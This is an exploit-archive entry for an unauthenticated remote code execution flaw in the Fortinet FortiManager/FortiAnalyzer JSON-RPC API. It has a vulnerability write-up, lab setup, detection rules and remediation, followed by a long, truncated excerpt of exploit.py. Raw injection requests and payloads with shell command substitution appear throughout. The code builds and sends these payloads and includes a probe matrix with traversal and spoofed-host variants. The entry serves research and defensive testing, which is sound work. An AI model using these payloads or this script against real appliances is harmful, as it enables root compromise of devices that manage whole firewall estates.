PoC Archive PoC Archive
CVE-2026-126170 category: network CVSS 9.8 (CRITICAL)
Unverified

CVE-2026-126170 — FortiManager / FortiAnalyzer JSON-RPC (JRPC) API JSON Injection to Unauthenticated RCE

Published: 2026-11-25 • Researcher: googlesky (Lê Hiếu) — PoC; Fortinet PSIRT — advisory FG-IR-26-219

Target software Fortinet FortiManager, FortiManager Cloud, FortiAnalyzer, FortiAnalyzer Cloud, FortiAnalyzer-BigData — JSON-RPC (JRPC) API, POST /jsonrpc
Affected versions FortiAnalyzer 8.0.0–8.0.2, 7.6.0–7.6.7; FortiAnalyzer Cloud 8.0.1–8.0.2, 7.6.0–7.6.7; FortiAnalyzer-BigData 7.6.0–7.6.2; FortiManager 8.0.0–8.0.2, 7.6.0–7.6.7; FortiManager Cloud 8.0.1–8.0.2, 7.6.0–7.6.7 (NVD)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-126170 (Fortinet FG-IR-26-219)
Category
network
Affected product
Fortinet FortiManager, FortiManager Cloud, FortiAnalyzer, FortiAnalyzer Cloud, FortiAnalyzer-BigData — JSON-RPC (JRPC) API, POST /jsonrpc
Affected versions
FortiAnalyzer 8.0.0–8.0.2, 7.6.0–7.6.7; FortiAnalyzer Cloud 8.0.1–8.0.2, 7.6.0–7.6.7; FortiAnalyzer-BigData 7.6.0–7.6.2; FortiManager 8.0.0–8.0.2, 7.6.0–7.6.7; FortiManager Cloud 8.0.1–8.0.2, 7.6.0–7.6.7 (NVD)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / Researchergooglesky (Lê Hiếu) — PoC; Fortinet PSIRT — advisory FG-IR-26-219
CVE / AdvisoryCVE-2026-126170 (Fortinet FG-IR-26-219)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsRCE, unauthenticated, FortiManager, FortiAnalyzer, JSON-injection, CWE-116, JRPC, command-injection, appliance, HTTP
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiManager, FortiManager Cloud, FortiAnalyzer, FortiAnalyzer Cloud, FortiAnalyzer-BigData — JSON-RPC (JRPC) API, POST /jsonrpc
Versions AffectedFortiAnalyzer 8.0.0–8.0.2, 7.6.0–7.6.7; FortiAnalyzer Cloud 8.0.1–8.0.2, 7.6.0–7.6.7; FortiAnalyzer-BigData 7.6.0–7.6.2; FortiManager 8.0.0–8.0.2, 7.6.0–7.6.7; FortiManager Cloud 8.0.1–8.0.2, 7.6.0–7.6.7 (NVD)
Language / PlatformAppliance management plane; JSON-RPC 2.0 over HTTP(S); FortiOS-style CLI command sink; PoC is Python 3 (stdlib only)
Authentication RequiredNo
Network Access RequiredYes

Summary

An improper output encoding flaw (CWE-116) in the JSON-RPC API of Fortinet FortiManager and FortiAnalyzer lets an unauthenticated attacker execute arbitrary commands on the appliance through a crafted HTTP request. The handler copies request values into a generated FortiOS-style command line and into the JSON response document without escaping them for either destination, so a value carrying a double quote terminates the quoted argument and the remainder is parsed by the command sink. Fortinet rates the issue 9.8 critical with a network vector, no privileges and no user interaction, reachable only where the JSON API has been enabled because it is disabled by default. The public PoC reproduces the full chain against a containerised model of the JRPC API and demonstrates command execution as root plus a forged key in the parsed response.

Vulnerability Details

Root Cause

The JRPC handler of the appliance translates a JSON-RPC document into a FortiOS-style command line and into a JSON response document, and it writes the values of the request into both outputs without encoding them for the destination they enter (CWE-116). The handler recovers each value from the raw request text and interprets the request’s own JSON escapes, so a double quote on the wire becomes a literal double quote in the recovered value. That value is then placed inside double quotes on the generated command line without escaping, and concatenated verbatim into the response document.

In the containerised model shipped with this entry (lab/fmgr_jrpc.py), the vulnerable mode renders the value as "<value>" and hands the resulting command line to /bin/sh -c; the patched mode shell-quotes the value for the command line, JSON-escapes it for the response document, and executes the command line without a shell. The model is the only thing that runs in the upstream laboratory — Fortinet does not publish the handler’s source, so the model encodes the vulnerability class and the vendor-stated behaviour, not the vendor binary.

Attack Vector

An unauthenticated POST /jsonrpc with Content-Type: application/json and a JSON-RPC 2.0 document:

Output
{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin","data":{"description":"A\",\"jrpc_injected\":\"TOKEN`id > /results/marker/jrpc-TOKEN.txt; echo TOKEN >> /results/marker/jrpc-TOKEN.txt`"}}]}

The injected value carries three things at once: the double quote that closes the quoted argument of the generated command line and the string of the response document, a JSON key/value pair that becomes a real key of the response, and a command substitution the command sink evaluates. The upstream matrix also reproduces the defect through the url, the id, the session and the data key names, over the get, set, add, delete and exec methods, and through the REST path /api/v2/cmdb/<object>, which reaches the same encoder. In the model, the request is dispatched before the session is validated, so a request with no session — or an invalid one — still reaches the vulnerable encoder; that ordering is part of the modelled defect.

Impact

Remote command execution on the appliance as the account the management daemon runs with (uid=0(root) in the upstream laboratory), which is full compromise of a device that manages firewalls and stores their configuration and logs. The same request also injects attacker-controlled keys into the JSON response document, so a client that parses the response sees forged data. Because the management plane controls managed FortiGate devices, a compromised instance can be used to push configuration to the estate it administers.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Podman host)
Target:      Containerised model of the FortiManager / FortiAnalyzer JRPC API
             (python:3.12-slim), four modes: vuln (7.6.7), fixed (7.6.8),
             fixed-rpc-none (rpc-permit none), api-disabled
Attacker:    python:3.12-alpine PoC container on the podman network cve126170lab
Tools:       podman, make, bash, Python 3
Network:     podman network cve126170lab; model listens on TCP 8080
Volumes:     ./results mounted at /results (marker files + jrpc-command-log.txt)

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
make prepare

make up

make check-vuln     # exit 1 = vulnerable
make check-fixed    # exit 0 = safe

make exploit-vuln
make exploit-fixed

make mitigation

make down

run-lab.sh exposes the same drivers: ./run-lab.sh up|check|exploit|probe|mitigation|0day|differential|evidence|down.

Proof of Concept

Step-by-Step Reproduction

  1. Start the laboratory — make prepare && make up builds the two images and starts fmgr-jrpc-vuln (mode vuln, FortiManager 7.6.7 model), fmgr-jrpc-fixed (7.6.8), fmgr-jrpc-rpc-none and fmgr-jrpc-api-disabled on the podman network cve126170lab.

  2. Classify the vulnerable model — make check-vuln runs poc/poc.py check, which sends one benign get request and one injected set request and exits 1 on VULNERABLE.

  3. Run the full chain — make exploit-vuln runs the PoC container against http://fmgr-jrpc-vuln:8080:

    Shell script
    1
    2
    3
    
    podman run --rm --cpus 2 --memory 4g --network cve126170lab \
        -v "$PWD/results:/results" cve-2026-126170-poc:local \
        exploit --target http://fmgr-jrpc-vuln:8080
  4. Inspect the proof — the PoC generates a fresh random token, embeds it in the description value of a set on /api/v2/cmdb/system/admin, and verifies three things: the response document carries the injected key jrpc_injected_<token>, the command log recorded the generated command line, and /results/marker/jrpc-<token>.txt contains the token together with uid=0(root).

  5. Contrast with the patched build — make exploit-fixed sends the identical request to the 7.6.8 model; the value stays a single string, no marker is written, no key is injected, and the PoC exits 0 (SAFE).

  6. Confirm the workaround — make mitigation shows 403 Access denied: rpc-permit none on the fixed-rpc-none model and 404 Object not found on the api-disabled model.

The equivalent raw request against a real appliance, from the upstream write-up (documented, not executed here):

HTTP request
1
2
3
4
5
POST /jsonrpc HTTP/1.1
Host: <appliance>
Content-Type: application/json

{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin","data":{"description":"A\",\"jrpc_injected\":\"TOKEN`id`"}}]}

Exploit Code

See exploit.py for the standalone full-chain exploit (it forces exploit mode and exits 1 when the target is exploited), poc/poc.py for the differential harness with check, exploit, probe, mitigation and 0day modes, and lab/fmgr_jrpc.py for the vulnerable model that the chain runs against.

The standalone entry point only needs the target and the shared results volume:

Shell script
1
POC_RESULTS="$PWD/results" python3 exploit.py --target http://127.0.0.1:8080 --out results/exploit.json

The chain shape is:

Output
1
2
3
4
5
6
payload  data.description = A\",\"jrpc_injected_<token>\":\"<token>`id > /results/marker/jrpc-<token>.txt; echo <token> >> ...`
send     POST /jsonrpc  method=set  url=/api/v2/cmdb/system/admin
check 1  parsed response has top-level key jrpc_injected_<token>
check 2  /results/jrpc-command-log.txt contains <token>
check 3  /results/marker/jrpc-<token>.txt contains uid=0(root) and <token>
verdict  VULNERABLE, exit 1

Expected Output

Abridged from evidence-exploit-vulnerable-run.txt:

JSON
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
"response": {
  "status": 200,
  "top_level_keys": ["description", "id", "jrpc_injected_49ac06baef328434", "method", "status", "url"],
  "injected_key": "jrpc_injected_49ac06baef328434",
  "injected_key_present": true,
  "body_excerpt": "{\"id\":\"1\",\"status\":\"success\",\"method\":\"set\",\"url\":\"/api/v2/cmdb/system/admin\",\"description\":\"A\",\"jrpc_injected_49ac06baef328434\":\"...`id > /results/marker/...`\"}"
},
"marker": {
  "written": true,
  "contains_uid_root": true,
  "content": "uid=0(root) gid=0(root) groups=0(root)\n49ac06baef328434\n"
},
"summary": { "verdict": "VULNERABLE (command execution confirmed and response injected)", "exit_code": 1 }

Screenshots / Evidence

The upstream repository also carries evidence/exploit-fixed-run.txt, evidence/probe-*.txt, evidence/0day-sweep.txt, evidence/jrpc-command-log.txt and evidence/injected-markers.txt; those were not copied (bulk run logs).

Detection & Indicators of Compromise

  • POST /jsonrpc request bodies whose data values, data key names, url, id or session contain a double quote followed by , and a new key, or shell metacharacters (backtick, $(, ;, |, &&, >); the vulnerable handler interprets the request’s own JSON escapes, so a JSON-encoded value is enough.
  • Response documents that carry unexpected top-level keys such as jrpc_injected_*, or responses that no longer parse as strict JSON because a value destroyed the document.
  • Generated command lines containing shell substitution (config system admin, set "description" "A","...") in management-plane logs, plus marker or result files written by the injected command.
  • Appliance-side 403 Access denied: rpc-permit none or 404 Object not found responses from /jsonrpc indicate the workaround states, not exploitation.
  • Authentication ordering tell: in the vulnerable build a request carrying an unknown session is executed before the session is refused; a 401 on the same payload against a patched build is the safe ordering.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"CVE-2026-126170 FortiManager JRPC JSON injection attempt"; \
  content:"POST"; http_method; content:"/jsonrpc"; http_uri; \
  content:"application/json"; http_header; \
  pcre:"/\\\",\\\"[A-Za-z0-9_]+\\\":\\\"/"; sid:9012617;)

The rule targets the response/command-line breakout shape; validate it against your own management-plane logging before relying on it. The laboratory’s own detector is poc/poc.py check, which classifies a target by comparing a benign and an injected request.

Remediation

ActionDetail
PatchUpgrade FortiManager and FortiAnalyzer to 8.0.3 or 7.6.8, FortiAnalyzer-BigData to 7.6.3, and migrate FortiSASE-Sovereign 25, 25.3 and 25.4 to a fixed release (per FG-IR-26-219 as reported in the upstream README); the Cloud branches follow the 8.0.3 / 7.6.8 line.
WorkaroundDisable the JSON API on every administrative profile: config system admin profile, edit <profile_name>, set rpc-permit none, end. The JSON API refuses every request with 403 in that state.
Config HardeningKeep the JSON API disabled on appliances that do not need it (the default), restrict the management interface to dedicated administrative networks, and treat any single unencoded request value as a full-management-plane compromise.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-126170 on 2026-11-25.

Review verdict: real exploit code, not a detector. exploit.py and poc/poc.py craft and send the injection request, then verify command execution out of band through a per-run marker file and verify the injected key in the parsed response; the check mode is only a classification convenience, not the purpose of the repository. The upstream tree is MIT licensed (Copyright (c) 2026 Lê Hiếu), and the license is archived as upstream-LICENSE.txt.

Fidelity and limitations: FortiManager and FortiAnalyzer are proprietary, so the upstream laboratory does not exercise the vendor binary. It runs a Python model of the JRPC API (lab/fmgr_jrpc.py) that reproduces the vulnerable and the patched behaviour, and every claim about the appliance is taken from FG-IR-26-219 and the published JRPC request surface. The command sink is /bin/sh -c in the vulnerable mode and the PoC writes its marker to /results on the container filesystem, so the proof is lab-only; the request shape and payload are documented but the chain has not been validated against a real appliance. Status is therefore PoC rather than Weaponized.

Layout: the entry keeps the upstream lab/ and poc/ directories so that Makefile and the Containerfiles still build. The standalone upstream exploit/exploit.py was archived as the top-level exploit.py and the Makefile exploit target was adjusted accordingly; the two upstream files differ only in the standalone entry point. Not copied: .git, CITATION.cff, .gitignore, results/, and the bulk evidence logs listed above. The worklist slug cve-2026-126170-poc was kept for the entry directory name.

No public exploitation was reported at the publication date of the advisory (per the upstream README and FG-IR-26-219). Run only against systems you own or have written authorization to test.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-126170 (MIT License; see upstream-LICENSE.txt)
"""
CVE-2026-126170 -- FortiManager / FortiAnalyzer JSON-RPC (JRPC) API, JSON injection.

Fortinet PSIRT FG-IR-26-219 -- "JSON Injection in JRPC API"
CWE-116 (Improper Encoding or Escaping of Output)
CVSS v3.1 9.8 CRITICAL -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The proof of concept drives the appliance's JSON-RPC endpoint with a crafted
request and observes two consequences of the missing output encoding:

  * the value of the request terminates the quoted argument of the generated
    command line, so the remainder of the value is parsed as shell syntax by the
    command sink -- the marker file is written by the appliance, as root;
  * the same value becomes a structural part of the JSON response document, so the
    injected key is a real key of the parsed response.

Modes:
    check      classify the target with a benign request and an injected request
    exploit    the full chain: craft, send, read the marker, verify the response
    probe      the sibling matrix: every method, every parameter, every value shape
    mitigation the published workaround, as published and in the form that takes effect
    0day       the full sweep against the patched build

Exit codes:
    0  safe -- nothing was executed and no key was injected
    1  vulnerable -- the injected command executed, or the response carries the key
    2  target unreachable
    3  the primitive is confirmed but the gadget is blocked
    4  endpoint absent -- the JSON API is not present, no handler is reached
"""

import argparse
import http.client
import json
import os
import secrets
import socket
import sys
import time
from urllib.parse import urlparse

TARGET = os.environ.get("FMGR_TARGET", "http://127.0.0.1:8080")
RESULTS = os.environ.get("POC_RESULTS", "/results")
MARKER_DIR = os.path.join(RESULTS, "marker")
CMD_LOG = os.path.join(RESULTS, "jrpc-command-log.txt")

INJ_PREFIX = "jrpc_injected"
BASE_KEYS = {"id", "status", "method", "url", "session"}


# --------------------------------------------------------------------- plumbing


def new_token():
    return secrets.token_hex(8)


def marker_path(token):
    return os.path.join(MARKER_DIR, "jrpc-%s.txt" % token)


def log_contains(token):
    try:
        with open(CMD_LOG, encoding="utf-8", errors="replace") as fh:
            return token in fh.read()
    except OSError:
        return False


def reachable(target, timeout=5):
    u = urlparse(target)
    host = u.hostname or "127.0.0.1"
    port = u.port or (443 if u.scheme == "https" else 80)
    try:
        s = socket.create_connection((host, port), timeout=timeout)
    except OSError:
        return False
    s.close()
    return True


def http_request(target, method="POST", path="/jsonrpc", body=None, headers=None, timeout=25):
    """Send one request and return (status, headers, body text)."""
    u = urlparse(target)
    host = u.hostname or "127.0.0.1"
    port = u.port or (443 if u.scheme == "https" else 80)
    hdrs = {"Content-Type": "application/json", "Accept": "application/json"}
    if headers:
        hdrs.update(headers)
    if isinstance(body, str):
        body = body.encode("utf-8")
    if u.scheme == "https":
        import ssl

        ctx = ssl._create_unverified_context()
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request(method, path, body=body, headers=hdrs)
        resp = conn.getresponse()
        data = resp.read()
        return resp.status, dict(resp.getheaders()), data.decode("utf-8", "replace")
    finally:
        conn.close()


def jrpc(method="set", url="/api/v2/cmdb/system/admin", data=None, rid=1, session=None):
    doc = {
        "id": rid,
        "method": method,
        "params": [{"url": url, "data": data if data is not None else {}}],
    }
    if session is not None:
        doc["session"] = session
    return json.dumps(doc)


def injection_value(token, inj_key=None, variant="plain"):
    """The payload value.

    It carries three things at once:

      * a double quote, which terminates the quoted argument of the generated
        command line and the string of the response document;
      * a JSON key/value pair, which becomes a real key of the parsed response
        document;
      * a command substitution, which writes the marker file as the account the
        appliance runs the command sink with.

    The "url-exec" variant builds the path of the marker file with shell octal
    escapes: the URL parameter reaches the generated command line as the object
    path of the command, and the object path is rendered with spaces, so a
    literal slash in the payload would not survive there.
    """
    inj_key = inj_key or ("%s_%s" % (INJ_PREFIX, token))
    path = marker_path(token)
    if variant == "url-exec":
        escaped = path.replace("/", "\\057")
        cmd = "id > $(printf '%s'); echo %s >> $(printf '%s')" % (escaped, token, escaped)
    else:
        cmd = "id > %s; echo %s >> %s" % (path, token, path)
    return 'A","%s":"%s`%s`' % (inj_key, token, cmd)


def observe(target, method="POST", path="/jsonrpc", body=None, headers=None,
            expected_keys=None, token=None):
    """Send one request and record what came back and what happened on the host."""
    obs = {
        "status": None,
        "parsed": None,
        "parse_error": None,
        "injected_keys": [],
        "marker": False,
        "marker_content": "",
        "log_hit": False,
        "error": None,
        "body_excerpt": "",
    }
    try:
        status, _hdrs, text = http_request(target, method, path, body, headers)
    except Exception as exc:
        obs["error"] = "%r" % (exc,)
        return obs
    obs["status"] = status
    obs["body_excerpt"] = text[:1200]
    try:
        parsed = json.loads(text)
    except Exception as exc:
        parsed = None
        obs["parse_error"] = str(exc)
    if isinstance(parsed, dict):
        obs["parsed"] = parsed
        if parsed.get("status") == "success":
            allowed = BASE_KEYS | set(expected_keys or [])
            obs["injected_keys"] = sorted(k for k in parsed if k not in allowed)
        else:
            # An error document is not the appliance's JRPC response document.
            obs["error_document"] = True
    if token:
        path_marker = marker_path(token)
        if os.path.exists(path_marker):
            obs["marker"] = True
            try:
                with open(path_marker, encoding="utf-8", errors="replace") as fh:
                    obs["marker_content"] = fh.read()[:2000]
            except OSError:
                pass
        obs["log_hit"] = log_contains(token)
    return obs


def executed(obs):
    """Did the injected command actually run, as the account of the appliance?"""
    return bool(obs.get("marker")) and "uid=0(root)" in obs.get("marker_content", "")


# ------------------------------------------------------------------ the cases


def probe_cases(full=False):
    """The sibling matrix.

    Every case is one request.  The cases marked "inject" carry the payload; the
    other cases carry the value shapes that a fix has to survive.
    """
    cases = []

    def add(name, **kw):
        kw["name"] = name
        cases.append(kw)

    # --- every method of the JRPC surface --------------------------------
    for method in ("get", "set", "add", "delete", "exec"):
        add(
            "method-%s" % method,
            method=method,
            url="/api/v2/cmdb/system/admin" if method != "exec" else "/sys/log/config",
            inject="value",
        )

    # --- every parameter of the request ------------------------------------
    add("parameter-url", method="set", url="/api/v2/cmdb/system/admin", inject="url")
    add("parameter-url-exec", method="set", url="/api/v2/cmdb/system/admin",
        inject="url", variant="url-exec")
    add("parameter-data-key", method="set", url="/api/v2/cmdb/system/admin", inject="key")
    add("parameter-id", method="set", url="/api/v2/cmdb/system/admin", inject="id")
    add("parameter-session", method="set", url="/api/v2/cmdb/system/admin", inject="session")
    add("parameter-method", method="set", url="/api/v2/cmdb/system/admin", inject="method")

    # --- value shapes ------------------------------------------------------
    shapes = [
        ("value-double-quote", 'he"llo'),
        ("value-backslash", "C:\\path\\to\\file"),
        ("value-newline", "line1\nline2"),
        ("value-nul", "before\x00after"),
        ("value-ifs", "${IFS}"),
        ("value-backtick", "`id`"),
        ("value-subshell", "$(id)"),
        ("value-semicolon", ";id"),
        ("value-pipe", "|id"),
        ("value-andand", "&&id"),
        ("value-redirect", "> /tmp/x"),
        ("value-unicode", "\u00fcn\u00efc\u00f6d\u00e9 \u00df \U0001f600"),
        ("value-rtl-override", "admin\u202egnp"),
        ("value-overlong", "A" * 4096),
        ("value-dotted", "..%2f..%2fetc%2fpasswd"),
    ]
    for name, shape in shapes:
        add(name, method="set", url="/api/v2/cmdb/system/admin", literal=shape)

    # --- structural shapes -------------------------------------------------
    add("value-nested-object", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"cfg": {"nested": {"deep": "value"}}})
    add("value-array", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"list": [1, 2, 3]})
    add("value-number", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"count": 42})
    add("value-bool-null", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"flag": True, "none": None})
    add("value-empty", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"description": ""})

    # --- transport shapes --------------------------------------------------
    add("transport-duplicate-json-key", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":"first","description":"second"}}]}')
    add("transport-content-type-text", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", content_type="text/plain")
    add("transport-content-type-absent", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", content_type=None)
    add("transport-http-method-get", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="GET")
    add("transport-http-method-put", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="PUT")
    add("transport-http-method-delete", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="DELETE")
    add("transport-http-method-patch", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="PATCH")
    add("transport-rest-path", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/api/v2/cmdb/system/admin", rest=True)
    add("transport-path-double-slash", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="//jsonrpc")
    add("transport-path-trailing-slash", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/jsonrpc/")
    add("transport-path-upper-case", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/JSONRPC")
    add("transport-path-query", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/jsonrpc?debug=1")
    add("transport-bearer-token", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", extra_headers={"Authorization": "Bearer " + "A" * 32})
    add("transport-bom", method="set", url="/api/v2/cmdb/system/admin",
        raw="\ufeff" + jrpc("set", "/api/v2/cmdb/system/admin", {"description": "bom"}))
    add("transport-nan-infinity", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":NaN,"count":Infinity}}]}')
    add("transport-lone-surrogate", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":"\\ud800x"}}]}')
    add("transport-huge-body", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":"' + "A" * (1024 * 1024 + 64) + '"}}]}')
    add("transport-empty-body", method="set", url="/api/v2/cmdb/system/admin", raw="")
    add("transport-not-json", method="set", url="/api/v2/cmdb/system/admin",
        raw="id=1&method=set")
    add("transport-params-not-a-list", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":{"url":"/api/v2/cmdb/system/admin","data":{}}}')
    add("transport-params-empty", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[]}')
    add("transport-data-not-an-object", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":"plain"}]}')
    add("transport-missing-url", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"data":{"description":"x"}}]}')
    add("transport-unknown-session", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", session="0000000000000000deadbeef")

    if full:
        # --- the extra vectors of the full sweep ---------------------------
        add("sweep-session-login", method="exec", url="/sys/login/user",
            literal=None, data={"user": "admin", "passwd": "admin"})
        add("sweep-empty-params-object", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin"}]}')
        add("sweep-method-unknown", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":1,"method":"reboot","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-method-upper-case", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":1,"method":"SET","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-id-object", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":{"a":1},"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-id-array", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":[1,2],"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-id-huge-int", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":123456789012345678901234567890,"method":"set",'
                '"params":[{"url":"/api/v2/cmdb/system/admin","data":{"description":"x"}}]}')
        add("sweep-url-query", method="set",
            url="/api/v2/cmdb/system/admin?vfilter=x", inject="value")
        add("sweep-url-traversal", method="set",
            url="/api/v2/cmdb/../../etc/passwd", inject="value")
        add("sweep-url-empty", method="set", url="", inject="value")
        add("sweep-multiple-data-keys", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_data={"second": "harmless"})
        add("sweep-content-length-mismatch", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"Content-Length": "1"})
        add("sweep-x-forwarded-host", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"X-Forwarded-Host": "evil.example"})
        add("sweep-origin", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"Origin": "http://evil.example"})
        add("sweep-referer", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"Referer": "http://evil.example/x"})
        add("sweep-user-agent", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"User-Agent": "curl/8.0"})
        add("sweep-transfer-encoding", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", chunked=True)

    return cases


def build_case_body(case, token):
    """Build the request body of one case."""
    if case.get("raw") is not None:
        return case["raw"], None
    method = case.get("method", "set")
    url = case.get("url", "/api/v2/cmdb/system/admin")
    data = case.get("data")
    if data is None:
        data = {}
    inj_key = "%s_%s" % (INJ_PREFIX, token)
    value = injection_value(token, inj_key, variant=case.get("variant", "plain"))
    expected = set()

    where = case.get("inject")
    if where == "value":
        data = dict(data)
        data["description"] = value
        expected.add("description")
    elif where == "key":
        # The payload is the *name* of a data member.
        data = {value: "harmless"}
        expected.add(value)
    elif where == "url":
        url = value
    elif where == "id":
        return (
            json.dumps(
                {
                    "id": value,
                    "method": method,
                    "params": [{"url": url, "data": {}}],
                }
            ),
            expected,
        )
    elif where == "session":
        return (
            json.dumps(
                {
                    "id": 1,
                    "method": method,
                    "params": [{"url": url, "data": {}}],
                    "session": value,
                }
            ),
            expected,
        )
    elif where == "method":
        return (
            json.dumps(
                {
                    "id": 1,
                    "method": value,
                    "params": [{"url": url, "data": {"description": value}}],
                }
            ),
            expected | {"description"},
        )
    elif case.get("literal") is not None:
        data = dict(data)
        data["description"] = case["literal"]
        expected.add("description")
    else:
        for key in data:
            expected.add(key)

    if case.get("extra_data"):
        data = dict(data)
        data.update(case["extra_data"])
        expected |= set(case["extra_data"])

    if case.get("rest"):
        # The REST path takes a flat JSON object, not the JRPC envelope.
        flat = dict(data)
        if case.get("inject") == "value":
            flat = {"description": value}
            expected = {"description"}
        return json.dumps(flat), expected

    body = jrpc(method, url, data, session=case.get("session"))
    return body, expected


def run_case(target, case):
    """Run one case of the matrix and describe what happened."""
    token = new_token()
    body, expected = build_case_body(case, token)
    headers = {}
    content_type = case.get("content_type", "application/json")
    if content_type is None:
        headers.pop("Content-Type", None)
    else:
        headers["Content-Type"] = content_type
    if case.get("extra_headers"):
        headers.update(case["extra_headers"])
    path = case.get("path", "/jsonrpc")
    http_method = case.get("http_method", "POST")

